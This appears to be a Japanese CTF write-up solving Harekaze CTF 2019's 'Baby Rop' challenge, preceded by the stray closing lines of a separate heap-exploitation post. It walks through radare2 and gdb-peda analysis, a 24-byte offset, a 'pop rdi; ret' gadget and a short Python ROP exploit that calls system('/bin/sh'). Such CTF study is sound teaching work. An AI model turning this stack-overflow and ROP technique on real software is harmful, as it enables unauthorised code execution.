step9の状態でfreeを行うと__free_hook
に格納されたonegadget-rce
のアドレスが呼び出され,シェルが起動します.
おわりに
疲れた... 資料に間違い等ございましたら,ご指摘いただけると幸いです.
参考にさせていただいたサイト
Harekaze CTF 2019 Baby Rop Writeup
はじめに
この記事は睡魔と戦いながら書いているためところどころ日本語がおかしくなる場合がございます.
いろいろ確認
ファイル
$ file babyrop babyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=b5a3b2575c451140ec967fd78cf8a60f2b7ef17f, not stripped
よくある感じの実行ファイル
セキュリティ機構
$ checksec.sh --file babyrop
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH babyrop
プログラム内で行われている処理を確認
$ r2 -AA babyrop [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Use -AA or aaaa to perform additional experimental analysis. [x] Finding function preludes [x] Enable constraint types analysis for variables -- Select your architecture with: 'e asm.arch=<arch>' or r2 -a from the shell [0x004004e0]> afl 0x004004e0 1 41 entry0 0x004004b0 1 6 sym.imp.__libc_start_main 0x00400510 4 50 -> 41 sym.deregister_tm_clones 0x00400550 4 58 -> 55 sym.register_tm_clones 0x00400590 3 28 entry.fini0 0x004005b0 4 38 -> 35 entry.init0 0x00400690 1 2 sym.__libc_csu_fini 0x00400694 1 9 sym._fini 0x00400620 4 101 sym.__libc_csu_init 0x004005d6 1 69 main 0x00400490 1 6 sym.imp.system 0x004004c0 1 6 sym.imp.__isoc99_scanf 0x004004a0 1 6 sym.imp.printf 0x00400460 3 26 sym._init 0x004004d0 1 6 sym..plt.got 0x004001a3 1 6 fcn.004001a3 [0x004004e0]> pdf @ main / (fcn) main 69 | int main (int argc, char **argv, char **envp); | ; var char *var_10h @ rbp-0x10 | ; DATA XREF from entry0 (0x4004fd) | 0x004005d6 55 push rbp | 0x004005d7 4889e5 mov rbp, rsp | 0x004005da 4883ec10 sub rsp, 0x10 | 0x004005de bfa8064000 mov edi, str.echo__n__What_s_your_name ; 0x4006a8 ; "echo -n \"What's your name? \"" ; const char *string | 0x004005e3 e8a8feffff call sym.imp.system ; int system(const char *string) | 0x004005e8 488d45f0 lea rax, [var_10h] | 0x004005ec 4889c6 mov rsi, rax | 0x004005ef bfc5064000 mov edi, 0x4006c5 ; const char *format | 0x004005f4 b800000000 mov eax, 0 | 0x004005f9 e8c2feffff call sym.imp.__isoc99_scanf ; int scanf(const char *format) | 0x004005fe 488d45f0 lea rax, [var_10h] | 0x00400602 4889c6 mov rsi, rax | 0x00400605 bfc8064000 mov edi, str.Welcome_to_the_Pwn_World___s ; 0x4006c8 ; "Welcome to the Pwn World, %s!\n" ; const char *format | 0x0040060a b800000000 mov eax, 0 | 0x0040060f e88cfeffff call sym.imp.printf ; int printf(const char *format) | 0x00400614 b800000000 mov eax, 0 | 0x00400619 c9 leave \ 0x0040061a c3 ret [0x004004e0]>
system("echo -n \"What's your name? \");
で名前を聞かれる.scanf("%s", ~~);
で文字列を読み取る.printf("Welcome to the Pwn World, %s!\n");
で入力した名前と合わせた文字列を出力する.
RIPを奪うまでのオフセットを確認
注意すること
今回の実行ファイルは内部でsystem()
が呼ばれているため,gdbを起動したあとset follow-fork-mode parent
で親プロセスの処理を追うように設定しなければならない.
$ gdb -q ./babyrop Reading symbols from ./babyrop...(no debugging symbols found)...done. gdb-peda$ set follow-fork-mode parent gdb-peda$ break main Breakpoint 1 at 0x4005da gdb-peda$ q pochi@ubuntu:~/Desktop/Harekaze/babyrop$ gdb -q ./babyrop Reading symbols from ./babyrop...(no debugging symbols found)...done. gdb-peda$ set follow-fork-mode parent gdb-peda$ b *0x0040061a Breakpoint 1 at 0x40061a gdb-peda$ pattc 50 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA' gdb-peda$ r Starting program: /home/pochi/Desktop/Harekaze/babyrop/babyrop What's your name? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA Welcome to the Pwn World, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA! [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x0 RDX: 0x0 RSI: 0x602670 ("Welcome to the Pwn World, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA!\n") RDI: 0x1 RBP: 0x41412d4141434141 ('AACAA-AA') RSP: 0x7fffffffddd8 ("(AADAA;AA)AAEAAaAA0AAFAAbA") RIP: 0x40061a (<main+68>: ret) R8 : 0x0 R9 : 0x32 ('2') R10: 0xffffffce R11: 0x246 R12: 0x4004e0 (<_start>: xor ebp,ebp) R13: 0x7fffffffdeb0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x40060f <main+57>: call 0x4004a0 <printf@plt> 0x400614 <main+62>: mov eax,0x0 0x400619 <main+67>: leave => 0x40061a <main+68>: ret 0x40061b: nop DWORD PTR [rax+rax*1+0x0] 0x400620 <__libc_csu_init>: push r15 0x400622 <__libc_csu_init+2>: push r14 0x400624 <__libc_csu_init+4>: mov r15d,edi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffddd8 ("(AADAA;AA)AAEAAaAA0AAFAAbA") 0008| 0x7fffffffdde0 ("A)AAEAAaAA0AAFAAbA") 0016| 0x7fffffffdde8 ("AA0AAFAAbA") 0024| 0x7fffffffddf0 --> 0x100004162 0032| 0x7fffffffddf8 --> 0x4005d6 (<main>: push rbp) 0040| 0x7fffffffde00 --> 0x0 0048| 0x7fffffffde08 --> 0xf0b869d1785eacbf 0056| 0x7fffffffde10 --> 0x4004e0 (<_start>: xor ebp,ebp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x000000000040061a in main () gdb-peda$ patto (AADAA; (AADAA; found at offset: 24 gdb-peda$
"A"*24 + (飛ばしたい処理のアドレス)
で良いことがわかる.
方針
今回はプログラム内でsystem()
が使用されているため,これを使う.
次に実行させたいコマンドとして使えそうな文字列を探す.libcが与えられていない部分などからプログラム内に隠されていると予想する.
[0x004004e0]> iz [Strings] Num Paddr Vaddr Len Size Section Type String 000 0x000006a8 0x004006a8 28 29 (.rodata) ascii echo -n "What's your name? " 001 0x000006c8 0x004006c8 30 31 (.rodata) ascii Welcome to the Pwn World, %s!\n 000 0x00001048 0x00601048 7 8 (.data) ascii /bin/sh
アドレス0x00601048
に/bin/sh
という理想的な文字列が見つかった.
次はsystem()
の引数にどうやって/bin/sh
を渡すかである.x64は第一引数をrdi
レジスタに格納するのでpop rdi; ret;
というgadgetが必要.
このような場合はrp++で探すと良い.
$ rp-lin-x64 --file=babyrop --rop=1 --unique | grep "pop" 0x00400682: pop r15 ; ret ; (1 found) 0x00400540: pop rbp ; ret ; (2 found) 0x00400683: pop rdi ; ret ; (1 found)
アドレス0x00400683
に見つかったのでこれを使用する.
エクスプロイトコード
def main(): payload = "" payload += "A" * 24 payload += p64(0x400683) # pop rdi; ret; payload += p64(0x601048) # /bin/sh payload += p64(0x400490) # system@plt # 通信部分 read_until(s, "What's your name? ") s.sendall(payload + "\n") interact(s)
おわりに
追記したいことがあるので週末にでも書き足すのでよろしくお願いします.